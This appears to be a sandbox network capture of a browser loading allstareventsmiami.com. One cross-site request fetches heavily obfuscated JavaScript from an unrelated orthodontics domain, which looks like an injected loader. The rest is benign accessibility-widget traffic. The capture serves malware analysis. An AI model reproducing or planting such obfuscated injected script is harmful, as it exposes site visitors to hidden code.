2025-03-11 21:43:09 UTC	617	OUT	GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1 Host: virtual.urban-orthodontics.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://allstareventsmiami.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-11 21:43:14 UTC	181	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 11 Mar 2025 21:43:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2025-03-11 21:43:14 UTC	3950	IN	Data Raw: 66 36 37 0d 0a 66 75 6e 63 74 69 6f 6e 20 61 30 5f 30 78 38 33 62 62 28 5f 30 78 31 32 39 35 63 66 2c 5f 30 78 34 31 31 36 30 66 29 7b 76 61 72 20 5f 30 78 32 32 30 32 61 66 3d 61 30 5f 30 78 64 36 31 32 28 29 3b 72 65 74 75 72 6e 20 61 30 5f 30 78 38 33 62 62 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 62 65 35 33 30 2c 5f 30 78 33 37 30 64 36 66 29 7b 5f 30 78 35 62 65 35 33 30 3d 5f 30 78 35 62 65 35 33 30 2d 28 30 78 66 35 37 2b 30 78 31 37 36 33 2b 30 78 31 2a 2d 30 78 32 36 33 38 29 3b 76 61 72 20 5f 30 78 34 38 64 32 66 39 3d 5f 30 78 32 32 30 32 61 66 5b 5f 30 78 35 62 65 35 33 30 5d 3b 69 66 28 61 30 5f 30 78 38 33 62 62 5b 27 63 58 46 67 52 6d 27 5d 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 76 61 72 20 5f 30 78 35 30 37 62 34 34 3d 66 75 6e 63 74 Data Ascii: f67function a0_0x83bb(_0x1295cf,_0x41160f){var _0x2202af=a0_0xd612();return a0_0x83bb=function(_0x5be530,_0x370d6f){_0x5be530=_0x5be530-(0xf57+0x1763+0x1*-0x2638);var _0x48d2f9=_0x2202af[_0x5be530];if(a0_0x83bb['cXFgRm']===undefined){var _0x507b44=funct
2025-03-11 21:43:14 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 34 31 38 30 64 36 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 36 38 39 37 66 28 61 30 5f 30 78 33 65 66 36 38 66 2e 5f 30 78 32 33 38 33 35 31 2c 30 78 31 37 65 2c 61 30 5f 30 78 33 65 66 36 38 66 2e 5f 30 78 32 37 66 35 36 31 2c 61 30 5f 30 78 33 65 66 36 38 66 2e 5f 30 78 31 38 30 39 65 30 2c 61 30 5f 30 78 33 65 66 36 38 66 2e 5f 30 78 32 36 61 61 39 35 29 29 2f 28 2d 30 78 31 34 32 2a 2d 30 78 31 2b 2d 30 78 31 63 66 36 2b 30 78 31 62 62 35 29 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 37 37 39 66 66 37 28 30 78 32 35 33 2c 61 30 5f 30 78 33 65 66 36 38 66 2e 5f 30 78 33 64 36 34 37 62 2c 30 78 32 32 39 2c 61 30 5f 30 78 33 65 66 36 38 66 2e 5f 30 78 35 37 65 36 39 63 2c 30 78 32 37 65 29 29 2f 28 2d 30 78 36 64 33 2a 2d 30 78 31 2b Data Ascii: 10004180d6=-parseInt(_0x16897f(a0_0x3ef68f._0x238351,0x17e,a0_0x3ef68f._0x27f561,a0_0x3ef68f._0x1809e0,a0_0x3ef68f._0x26aa95))/(-0x142-0x1+-0x1cf6+0x1bb5)+-parseInt(_0x779ff7(0x253,a0_0x3ef68f._0x3d647b,0x229,a0_0x3ef68f._0x57e69c,0x27e))/(-0x6d3-0x1+
2025-03-11 21:43:14 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 64 37 2c 5f 30 78 32 64 39 39 66 63 3a 30 78 33 34 33 2c 5f 30 78 31 33 63 30 63 63 3a 30 78 33 62 2c 5f 30 78 34 35 32 63 34 36 3a 30 78 34 30 2c 5f 30 78 34 34 31 66 65 30 3a 30 78 35 34 2c 5f 30 78 34 64 31 30 37 38 3a 30 78 39 31 2c 5f 30 78 33 39 66 36 39 39 3a 30 78 31 39 36 2c 5f 30 78 34 66 35 34 61 65 3a 27 42 77 40 4e 27 2c 5f 30 78 37 35 30 35 38 64 3a 30 78 31 36 30 2c 5f 30 78 33 33 32 31 61 30 3a 30 78 32 65 36 2c 5f 30 78 32 66 32 32 31 63 3a 30 78 33 31 31 2c 5f 30 78 64 37 62 31 39 35 3a 30 78 33 32 64 2c 5f 30 78 31 35 61 35 63 64 3a 27 6f 4b 24 55 27 2c 5f 30 78 34 34 64 64 34 66 3a 30 78 32 65 61 2c 5f 30 78 31 65 35 39 61 65 3a 30 78 33 31 62 2c 5f 30 78 32 34 30 31 64 66 3a 30 78 31 37 38 2c 5f 30 78 65 63 33 34 30 Data Ascii: 1000d7,_0x2d99fc:0x343,_0x13c0cc:0x3b,_0x452c46:0x40,_0x441fe0:0x54,_0x4d1078:0x91,_0x39f699:0x196,_0x4f54ae:'Bw@N',_0x75058d:0x160,_0x3321a0:0x2e6,_0x2f221c:0x311,_0xd7b195:0x32d,_0x15a5cd:'oK$U',_0x44dd4f:0x2ea,_0x1e59ae:0x31b,_0x2401df:0x178,_0xec340
2025-03-11 21:43:14 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 35 33 38 39 2c 61 30 5f 30 78 35 31 35 33 65 35 2e 5f 30 78 32 64 37 33 33 38 2c 30 78 33 34 32 2c 61 30 5f 30 78 35 31 35 33 65 35 2e 5f 30 78 63 34 31 63 33 38 29 2b 27 65 27 5d 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 30 30 33 63 63 28 5f 30 78 34 64 37 62 39 30 2c 5f 30 78 33 33 64 64 65 39 2c 5f 30 78 32 30 65 32 32 36 2c 5f 30 78 34 62 33 64 61 31 2c 5f 30 78 34 33 30 30 66 66 29 7b 72 65 74 75 72 6e 20 61 30 5f 30 78 38 33 62 62 28 5f 30 78 34 62 33 64 61 31 2d 20 2d 30 78 37 31 2c 5f 30 78 34 64 37 62 39 30 29 3b 7d 76 61 72 20 5f 30 78 33 39 31 64 63 39 3d 5f 30 78 32 62 39 30 63 63 28 61 30 5f 30 78 35 31 35 33 65 35 2e 5f 30 78 35 63 35 36 30 34 2c 30 78 32 31 31 2c 61 30 5f 30 78 35 31 35 33 65 35 2e 5f 30 78 34 37 39 39 35 Data Ascii: 10005389,a0_0x5153e5._0x2d7338,0x342,a0_0x5153e5._0xc41c38)+'e'];function _0x2003cc(_0x4d7b90,_0x33dde9,_0x20e226,_0x4b3da1,_0x4300ff){return a0_0x83bb(_0x4b3da1- -0x71,_0x4d7b90);}var _0x391dc9=_0x2b90cc(a0_0x5153e5._0x5c5604,0x211,a0_0x5153e5._0x47995
2025-03-11 21:43:14 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 5f 30 78 33 35 63 37 65 62 5b 5f 30 78 34 62 38 61 32 65 28 30 78 33 35 64 2c 61 30 5f 30 78 35 31 35 33 65 35 2e 5f 30 78 61 34 34 61 34 2c 61 30 5f 30 78 35 31 35 33 65 35 2e 5f 30 78 35 34 30 61 36 36 2c 30 78 33 36 62 2c 61 30 5f 30 78 35 31 35 33 65 35 2e 5f 30 78 31 66 32 66 37 30 29 2b 5f 30 78 34 62 38 61 32 65 28 61 30 5f 30 78 35 31 35 33 65 35 2e 5f 30 78 31 32 61 61 30 35 2c 30 78 33 35 65 2c 61 30 5f 30 78 35 31 35 33 65 35 2e 5f 30 78 33 36 31 33 35 61 2c 30 78 33 31 31 2c 61 30 5f 30 78 35 31 35 33 65 35 2e 5f 30 78 34 38 37 37 62 64 29 5d 2d 5f 30 78 33 35 63 37 65 62 5b 5f 30 78 31 30 63 33 61 36 28 30 78 33 32 64 2c 30 78 33 32 32 2c 30 78 33 30 61 2c 30 78 33 31 61 2c 27 78 34 72 64 27 29 2b 5f 30 78 31 30 31 38 34 33 Data Ascii: 1000_0x35c7eb[_0x4b8a2e(0x35d,a0_0x5153e5._0xa44a4,a0_0x5153e5._0x540a66,0x36b,a0_0x5153e5._0x1f2f70)+_0x4b8a2e(a0_0x5153e5._0x12aa05,0x35e,a0_0x5153e5._0x36135a,0x311,a0_0x5153e5._0x4877bd)]-_0x35c7eb[_0x10c3a6(0x32d,0x322,0x30a,0x31a,'x4rd')+_0x101843
2025-03-11 21:43:14 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 61 32 65 28 30 78 33 39 34 2c 30 78 33 35 64 2c 27 39 4f 45 35 27 2c 30 78 33 36 34 2c 61 30 5f 30 78 35 31 35 33 65 35 2e 5f 30 78 35 36 38 31 32 32 29 2b 5f 30 78 31 30 31 38 34 33 28 61 30 5f 30 78 35 31 35 33 65 35 2e 5f 30 78 35 63 36 36 35 36 2c 2d 61 30 5f 30 78 35 31 35 33 65 35 2e 5f 30 78 33 34 33 39 62 61 2c 2d 61 30 5f 30 78 35 31 35 33 65 35 2e 5f 30 78 32 63 37 34 62 64 2c 2d 61 30 5f 30 78 35 31 35 33 65 35 2e 5f 30 78 31 38 65 64 63 33 2c 2d 30 78 32 33 29 2b 5f 30 78 32 62 39 30 63 63 28 61 30 5f 30 78 35 31 35 33 65 35 2e 5f 30 78 35 33 35 38 65 37 2c 61 30 5f 30 78 35 31 35 33 65 35 2e 5f 30 78 61 65 64 37 31 35 2c 30 78 31 33 66 2c 27 50 32 4b 69 27 2c 30 78 31 36 36 29 2b 5f 30 78 34 62 38 61 32 65 28 30 78 32 39 66 Data Ascii: 1000a2e(0x394,0x35d,'9OE5',0x364,a0_0x5153e5._0x568122)+_0x101843(a0_0x5153e5._0x5c6656,-a0_0x5153e5._0x3439ba,-a0_0x5153e5._0x2c74bd,-a0_0x5153e5._0x18edc3,-0x23)+_0x2b90cc(a0_0x5153e5._0x5358e7,a0_0x5153e5._0xaed715,0x13f,'P2Ki',0x166)+_0x4b8a2e(0x29f
2025-03-11 21:43:14 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 62 62 36 34 65 2e 5f 30 78 31 35 31 33 36 33 2c 2d 61 30 5f 30 78 31 62 62 36 34 65 2e 5f 30 78 33 32 31 31 34 39 2c 2d 61 30 5f 30 78 31 62 62 36 34 65 2e 5f 30 78 33 32 39 63 66 65 2c 2d 30 78 31 31 39 29 2b 5f 30 78 34 64 66 31 66 33 28 2d 61 30 5f 30 78 31 62 62 36 34 65 2e 5f 30 78 33 34 38 33 34 30 2c 2d 30 78 37 34 2c 27 34 5a 34 4d 27 2c 2d 30 78 36 63 2c 2d 61 30 5f 30 78 31 62 62 36 34 65 2e 5f 30 78 62 32 39 39 37 61 29 2b 5f 30 78 32 65 33 32 61 61 28 2d 61 30 5f 30 78 31 62 62 36 34 65 2e 5f 30 78 33 66 64 38 63 62 2c 2d 30 78 33 31 2c 27 76 5a 68 5d 27 2c 61 30 5f 30 78 31 62 62 36 34 65 2e 5f 30 78 33 65 31 35 37 38 2c 2d 30 78 36 65 29 2b 5f 30 78 32 65 33 32 61 61 28 2d 61 30 5f 30 78 31 62 62 36 34 65 2e 5f 30 78 34 35 Data Ascii: 1000bb64e._0x151363,-a0_0x1bb64e._0x321149,-a0_0x1bb64e._0x329cfe,-0x119)+_0x4df1f3(-a0_0x1bb64e._0x348340,-0x74,'4Z4M',-0x6c,-a0_0x1bb64e._0xb2997a)+_0x2e32aa(-a0_0x1bb64e._0x3fd8cb,-0x31,'vZh]',a0_0x1bb64e._0x3e1578,-0x6e)+_0x2e32aa(-a0_0x1bb64e._0x45
2025-03-11 21:43:14 UTC	2517	IN	Data Raw: 39 63 65 0d 0a 50 74 64 56 6d 6b 67 57 37 4f 4e 27 2c 27 6d 67 43 78 75 38 6b 45 27 2c 27 57 36 58 42 68 64 74 64 53 61 27 2c 27 62 73 2f 64 49 63 2f 63 47 61 27 2c 27 57 34 6c 64 51 4e 2f 64 50 33 4b 27 2c 27 57 50 38 30 57 4f 57 79 41 57 27 2c 27 76 6d 6b 33 57 34 6d 54 57 4f 71 27 2c 27 75 48 52 64 54 6d 6b 50 6d 61 27 2c 27 61 59 68 63 54 68 2f 63 4a 57 27 2c 27 57 51 43 72 61 38 6b 54 57 35 65 27 2c 27 57 34 52 64 51 53 6b 2b 71 38 6b 48 27 2c 27 6a 4c 44 6f 57 34 35 4c 27 2c 27 57 52 46 64 55 43 6f 4e 62 58 4b 27 2c 27 57 4f 4a 64 53 53 6b 74 57 37 47 53 27 2c 27 7a 66 6a 58 46 43 6f 6f 27 2c 27 76 38 6f 2f 6a 43 6b 61 57 37 75 27 2c 27 57 50 71 51 64 59 5a 64 51 47 27 2c 27 75 43 6b 61 57 36 74 63 55 4e 43 27 2c 27 73 53 6b 6d 57 36 78 63 50 32 4b Data Ascii: 9cePtdVmkgW7ON','mgCxu8kE','W6XBhdtdSa','bs/dIc/cGa','W4ldQN/dP3K','WP80WOWyAW','vmk3W4mTWOq','uHRdTmkPma','aYhcTh/cJW','WQCra8kTW5e','W4RdQSk+q8kH','jLDoW45L','WRFdUCoNbXK','WOJdSSktW7GS','zfjXFCoo','v8o/jCkaW7u','WPqQdYZdQG','uCkaW6tcUNC','sSkmW6xcP2K
2025-03-11 21:43:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-11 21:43:09 UTC	634	OUT	GET /styles/2025-03-11-08-31-12/widget_base.css?v=1741681872888 HTTP/1.1 Host: cdn.userway.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://allstareventsmiami.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-11 21:43:10 UTC	885	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 21:43:10 GMT Content-Type: text/css Content-Length: 30789 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, PUT, POST, DELETE Access-Control-Expose-Headers: Content-Range, Content-Length, ETag, Content-Type Access-Control-Max-Age: 3000 Last-Modified: Tue, 11 Mar 2025 08:33:52 GMT ETag: "7fe462571ec3b82ed05ba4fb4d0d9d3c" x-amz-server-side-encryption: AES256 Cache-Control: max-age=864000, public Vary: Accept-Encoding Via: 1.1 098a60d50e7e132c276fd27b94c6212c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P10 X-Amz-Cf-Id: Fw2dbwDtO-nmKRE5CKndyk-Yi2T9fD-rhh_8wj4ZzR7kuOfQobbDcg== Age: 231 X-77-NZT: EgwBw7WvJwH3QJcAAAwBw7WvAgG3JyAAAA X-77-NZT-Ray: 25b02131bc0991cf6eaed0673234510f X-77-Cache: HIT X-77-Age: 38720 Server: CDN77-Turbo X-77-POP: frankfurtDE Accept-Ranges: bytes
2025-03-11 21:43:10 UTC	15499	IN	Data Raw: 3a 72 6f 6f 74 20 2e 75 61 69 2c 3a 72 6f 6f 74 20 2e 75 6c 73 74 69 2c 5f 3a 3a 2d 77 65 62 6b 69 74 2d 66 75 6c 6c 2d 70 61 67 65 2d 6d 65 64 69 61 2c 5f 3a 66 75 74 75 72 65 7b 6f 75 74 6c 69 6e 65 2d 6f 66 66 73 65 74 3a 2d 31 30 70 78 7d 2e 75 77 2d 73 31 30 2d 72 65 61 64 69 6e 67 2d 67 75 69 64 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 30 30 3b 77 69 64 74 68 3a 34 30 76 77 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 69 6e 2d 77 69 64 74 68 3a 32 30 30 70 78 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 21 69 6d 70 6f 72 74 61 6e 74 3b 68 65 69 67 68 74 3a 31 32 70 78 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 Data Ascii: :root .uai,:root .ulsti,_::-webkit-full-page-media,_:future{outline-offset:-10px}.uw-s10-reading-guide{display:none;box-sizing:border-box;background:#000;width:40vw!important;min-width:200px!important;position:absolute!important;height:12px!important;bord
2025-03-11 21:43:10 UTC	15290	IN	Data Raw: 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 2d 2e 31 31 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4d 65 74 72 6f 70 6f 6c 69 73 2c 73 61 6e 73 2d 73 65 72 69 66 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 39 70 78 7d 2e 75 77 61 77 2d 64 69 63 74 69 6f 6e 61 72 79 2d 74 6f 6f 6c 74 69 70 5f 5f 63 6c 6f 73 65 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 72 69 67 68 74 3a 31 37 70 78 3b 74 6f 70 3a 32 32 70 78 3b 77 69 64 74 68 3a 32 38 70 78 3b 68 65 69 67 68 74 3a 32 38 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 62 61 63 6b 67 72 6f 75 6e Data Ascii: {color:#fff;font-size:14px;line-height:20px;letter-spacing:-.11px;font-weight:600;font-family:Metropolis,sans-serif;padding-bottom:9px}.uwaw-dictionary-tooltip__close{position:absolute;right:17px;top:22px;width:28px;height:28px;border-radius:50%;backgroun

Timestamp	Bytes transferred	Direction	Data
2025-03-11 21:43:09 UTC	635	OUT	GET /widgetapp/2025-03-11-08-31-12/remediation/remediation_1741681872888.js HTTP/1.1 Host: cdn.userway.org Connection: keep-alive Origin: https://allstareventsmiami.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://allstareventsmiami.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-11 21:43:10 UTC	901	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 21:43:10 GMT Content-Type: application/javascript Content-Length: 58120 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, PUT, POST, DELETE Access-Control-Expose-Headers: Content-Range, Content-Length, ETag, Content-Type Access-Control-Max-Age: 3000 Last-Modified: Tue, 11 Mar 2025 08:34:32 GMT ETag: "d0fc5046c3bfdfc57aaa2d0995f633cd" x-amz-server-side-encryption: AES256 Cache-Control: max-age=25920000, public Vary: Accept-Encoding Via: 1.1 5d59ec457bae9e2b9df45a357eeeffd2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P10 X-Amz-Cf-Id: de_Z9Dqog4YabnzNCE55DdkA94yoCyHTf7qeN2d041Z7wopXBNVvjQ== Age: 231 X-77-NZT: EgwBw7WvJwH3e4YAAAwBw7WvBgG37DAAAA X-77-NZT-Ray: 25b02131c2fbd4cf6eaed067e2480311 X-77-Cache: HIT X-77-Age: 34427 Server: CDN77-Turbo X-77-POP: frankfurtDE Accept-Ranges: bytes
2025-03-11 21:43:10 UTC	15483	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 74 6f 74 61 6c 50 72 6f 63 65 73 73 65 64 2e 41 55 54 4f 46 4f 43 55 53 5f 4f 4e 5f 4c 4f 41 44 3d 30 2c 74 28 65 29 2c 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 6f 70 73 74 61 74 65 22 2c 74 2c 21 31 29 7d 2c 31 35 30 30 29 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3b 74 26 26 5b 22 49 4e 50 55 54 22 2c 22 54 45 58 54 41 52 45 41 22 5d 2e 69 6e 63 6c 75 64 65 73 28 74 2e 74 61 67 4e 61 6d 65 29 3f 28 74 2e 62 6c 75 72 28 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 72 2e 44 41 54 Data Ascii: !function(){function e(e){setTimeout(function(){r.totalProcessed.AUTOFOCUS_ON_LOAD=0,t(e),window.addEventListener("popstate",t,!1)},1500)}function t(e){var t=document.activeElement;t&&["INPUT","TEXTAREA"].includes(t.tagName)?(t.blur(),t.setAttribute(r.DAT
2025-03-11 21:43:10 UTC	16384	IN	Data Raw: 6d 65 22 29 2c 66 3d 55 73 65 72 57 61 79 57 69 64 67 65 74 41 70 70 2e 67 65 74 4c 69 62 28 22 75 74 69 6c 22 29 2c 70 3d 55 73 65 72 57 61 79 57 69 64 67 65 74 41 70 70 2e 67 65 74 4c 69 62 28 22 68 65 6c 70 65 72 73 22 29 2c 6d 3d 22 64 61 74 61 2d 75 77 2d 72 6d 2d 73 72 22 3b 64 2e 66 69 6c 74 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 72 65 73 65 74 26 26 73 28 29 2c 5b 5d 7d 2c 64 2e 61 77 61 69 74 46 6f 72 52 65 73 6f 75 72 63 65 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 29 7d 2c 64 2e 64 6f 52 65 6d 65 64 69 61 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: me"),f=UserWayWidgetApp.getLib("util"),p=UserWayWidgetApp.getLib("helpers"),m="data-uw-rm-sr";d.filter=function(e,t){return t.reset&&s(),[]},d.awaitForResources=function(){return Promise.resolve()},d.doRemediation=function(e){return new Promise(function(t
2025-03-11 21:43:10 UTC	16384	IN	Data Raw: 2c 6e 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 26 26 77 69 6e 64 6f 77 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 69 73 55 73 65 72 57 61 79 3a 21 30 2c 61 63 74 69 6f 6e 3a 22 72 65 6d 65 64 69 61 74 69 6f 6e 22 2c 74 79 70 65 3a 22 61 64 64 2d 64 79 6e 61 6d 69 63 61 6c 6c 79 22 2c 72 65 6d 65 64 69 61 74 69 6f 6e 48 65 6c 70 65 72 4e 61 6d 65 3a 6f 7d 2c 22 2a 22 29 7d 29 29 7d 0a 76 61 72 20 74 2c 6e 3d 55 73 65 72 57 61 79 57 69 64 67 65 74 41 70 70 2e 61 64 64 4c 69 62 28 22 63 70 72 5f 70 61 74 74 65 72 6e 73 5f 6f 62 73 65 72 76 65 72 22 29 2c 72 3d 55 73 65 72 57 61 79 57 69 64 67 65 74 41 70 70 2e 67 65 74 4c 69 62 28 22 75 74 69 6c 22 29 2c 6f 3d 55 73 65 72 57 61 79 57 69 64 67 65 74 41 70 70 2e 67 65 74 4c 69 62 28 22 72 65 6d Data Ascii: ,n).then(function(){o&&window.postMessage({isUserWay:!0,action:"remediation",type:"add-dynamically",remediationHelperName:o},"*")}))}var t,n=UserWayWidgetApp.addLib("cpr_patterns_observer"),r=UserWayWidgetApp.getLib("util"),o=UserWayWidgetApp.getLib("rem
2025-03-11 21:43:10 UTC	9869	IN	Data Raw: 7b 74 3d 65 3b 62 72 65 61 6b 7d 65 3d 65 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 7d 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 72 65 74 75 72 6e 2f 5e 28 5b 5e 2e 5d 2b 5c 2e 29 3f 6d 61 6e 61 67 65 5c 2e 2e 2a 75 73 65 72 77 61 79 5c 2e 28 64 65 76 7c 6f 72 67 29 24 2f 2e 74 65 73 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 69 66 28 31 31 34 33 35 35 3d 3d 3d 66 2e 73 65 72 76 69 63 65 73 2e 73 69 74 65 49 64 7c 7c 39 39 30 34 37 39 3d 3d 3d 66 2e 73 65 72 76 69 63 65 73 2e 73 69 74 65 49 64 7c 7c 69 28 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 65 3d 6c 28 29 2c 6e 3d 65 2e 76 77 2c 72 3d 65 2e 76 68 2c 61 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 6e 2f 32 Data Ascii: {t=e;break}e=e.parentElement}return t}function i(){return/^([^.]+\.)?manage\..*userway\.(dev\|org)$/.test(window.location.host)}function a(){if(114355===f.services.siteId\|\|990479===f.services.siteId\|\|i())return null;var e=l(),n=e.vw,r=e.vh,a=Math.round(n/2

Timestamp	Bytes transferred	Direction	Data
2025-03-11 21:43:10 UTC	404	OUT	GET /api/v1/tunings/xaCleGvcNk HTTP/1.1 Host: api.userway.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-11 21:43:10 UTC	548	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 21:43:10 GMT Content-Type: application/json; charset=utf-8 Content-Length: 71 Connection: close X-Service-Version: uw-pr Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, PUT, PATCH, POST, DELETE Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Content-Range, Content-Length, ETag, Content-Type Access-Control-Max-Age: 3000 Cache-Control: no-cache, no-store, must-revalidate X-Service-Request-Id: usr4fa1fea035c1410 ETag: W/"47-+LiLvrRTwqF2HB4sVtiPCdivhW0"
2025-03-11 21:43:10 UTC	71	IN	Data Raw: 7b 22 63 6f 64 65 22 3a 34 30 34 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 50 49 20 65 6e 64 70 6f 69 6e 74 20 6e 6f 74 20 66 6f 75 6e 64 3a 20 2f 76 31 2f 74 75 6e 69 6e 67 73 2f 78 61 43 6c 65 47 76 63 4e 6b 22 7d Data Ascii: {"code":404,"message":"API endpoint not found: /v1/tunings/xaCleGvcNk"}

Timestamp	Bytes transferred	Direction	Data
2025-03-11 21:43:12 UTC	427	OUT	GET /widgetapp/2025-03-11-08-31-12/locales/en-US.json HTTP/1.1 Host: cdn.userway.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-11 21:43:12 UTC	893	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 21:43:12 GMT Content-Type: application/json Content-Length: 607 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, PUT, POST, DELETE Access-Control-Expose-Headers: Content-Range, Content-Length, ETag, Content-Type Access-Control-Max-Age: 3000 Last-Modified: Tue, 11 Mar 2025 08:34:31 GMT ETag: "971644f50e2020e1ff22e37edcad46f6" x-amz-server-side-encryption: AES256 Cache-Control: max-age=25920000, public Via: 1.1 18a0c3f5e09e58d51d2e5d6f596d202e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P10 X-Amz-Cf-Id: G_QuJV8z3jFFbh3VdRswF0J0gCuikhDsFhFjUl_PGn96VVi1XNIBgQ== Age: 233 X-77-NZT: EgwBz9PTGQH3UT4AAAwBJRPCLgG3F3kAAA X-77-NZT-Ray: 43862e24db369a0970aed067f19c6d26 X-77-Cache: HIT X-77-Age: 15953 Vary: Accept-Encoding 